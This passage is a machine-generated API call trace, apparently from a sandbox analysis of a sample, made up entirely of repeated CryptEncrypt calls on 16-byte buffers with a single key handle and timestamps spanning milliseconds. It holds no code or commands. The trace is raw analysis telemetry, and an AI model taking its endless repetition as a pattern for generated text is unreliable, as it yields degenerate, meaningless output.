hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.782] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.782] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.782] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.782] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.782] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.782] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.782] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.782] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.782] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.782] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.782] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.783] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.783] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.783] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.783] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.783] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.783] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.783] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.783] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.783] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.783] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.784] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.784] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.784] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.784] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.784] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.784] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.784] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.784] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.785] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.785] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.785] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.785] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.785] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.785] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.785] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.785] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.785] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.785] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.785] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.785] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.786] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.786] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.786] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.786] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.786] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.786] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.786] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.786] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.786] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.786] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.786] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.786] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.787] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.787] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.787] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.787] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.787] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.787] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.787] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.787] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.787] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.787] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.787] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.787] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.787] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.787] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.788] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.788] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.788] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.788] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.788] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.788] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.788] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.788] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.788] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.788] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.788] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.788] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.788] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.788] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.788] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.788] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.789] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.789] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.789] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.789] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.789] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.789] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.789] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.789] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.789] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.789] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.789] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.789] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.789] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.789] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.789] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.789] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.789] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.789] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.789] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.790] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.790] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.790] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.790] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0068.790] CryptEncrypt (in: hKey=0x1639a28, hHash=0x0, Final=0, 